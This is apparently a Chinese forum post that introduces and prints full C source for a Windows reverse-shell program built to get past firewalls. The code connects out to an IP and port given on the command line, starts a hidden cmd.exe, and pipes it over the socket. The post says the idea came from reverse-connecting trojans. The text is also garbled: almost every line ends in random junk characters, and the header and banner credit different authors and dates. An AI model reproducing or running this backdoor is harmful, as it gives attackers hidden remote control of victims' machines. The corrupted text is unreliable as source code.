这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +89o`u_l%
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/* ============================== SJ(9rhB5*.
Rebound port in Windows NT %HEmi;
By wind,2006/7 s1=u{ET
===============================*/ E& ]_U$
#include n\~yX<;X3
#include P%!q1`Eke(
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#pragma comment(lib,"wsock32.lib") )/TVJAJ
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void OutputShell(); SRk7gfP*q
SOCKET sClient; B}5XRgq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s=j O;K$
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void main(int argc,char **argv) 2V< # Y
{ %0(>!SY
WSADATA stWsaData; :+A;TV
int nRet; *<3iEeO/R
SOCKADDR_IN stSaiClient,stSaiServer; EQ~I'#m7
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if(argc != 3) B#4S/d{/
{ XAlD
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printf("Useage:\n\rRebound DestIP DestPort\n"); bl9E&B/
return; % NwoU%q
} Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); lc-*8eS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); > hesxC!
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stSaiClient.sin_family = AF_INET; /^WE@r[:
stSaiClient.sin_port = htons(0); KKMWD\
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jz2q\42q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ut=0~x.=<
{ F6h/0i
printf("Bind Socket Failed!\n"); <#!8?o&i
return; q .)^B@}_
} &A#90xzF
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stSaiServer.sin_family = AF_INET; m';|}z'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OQ
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4v i B=>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i@%L_[MtA
{ @V*au:
printf("Connect Error!"); ug>]U ~0
return; cbY3m Sfn*
} R7y-#?
OutputShell(); ~c'\IM
} I\)N\move
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void OutputShell() <:H
{ SlM>";C\
char szBuff[1024]; | H5Ync[s
SECURITY_ATTRIBUTES stSecurityAttributes; y;*My#
OSVERSIONINFO stOsversionInfo; J#_\+G i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4t"* )xy
STARTUPINFO stStartupInfo; "1E?3PFJ
char *szShell; :^C#-O
PROCESS_INFORMATION stProcessInformation; vQE` c@^{
unsigned long lBytesRead; /<Gyg7o0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7UY('Q[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,<IL*=a
stSecurityAttributes.lpSecurityDescriptor = 0; #p;4:IT
stSecurityAttributes.bInheritHandle = TRUE; 4"`=hu Q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OsDp88Bc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jTGS6{E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +;{rU&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LD7? .
stStartupInfo.wShowWindow = SW_HIDE; zSX'
stStartupInfo.hStdInput = hReadPipe; <<~lV5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pO@k@JZ
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GetVersionEx(&stOsversionInfo); g0[<9.ke
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switch(stOsversionInfo.dwPlatformId) P W0q71
{ !c3Qcva
case 1: n:{-Vvt
szShell = "command.com"; 6Vu}kK)
break; MV:<w3!
default: +"*l2E]5
szShell = "cmd.exe"; OdtbVF~
break; @9
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} :d:|7hlNQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2xz%'X%
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send(sClient,szMsg,77,0); `t/@ L:
while(1) v{\n^|=])
{ H@OrX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .T
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if(lBytesRead) H_xQ>~b
{ A$$R_3ne
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %$!R] B)
send(sClient,szBuff,lBytesRead,0); JXD?a.vy^q
} %^)Ja EUC
else 8{U]ATx'(
{ 0YTtA]|`4
lBytesRead=recv(sClient,szBuff,1024,0); a v|6r#
if(lBytesRead<=0) break; g,GbaaXH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nAba
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} {-7yZ]OO$
} FsPDWy&x
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return; gp&&
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}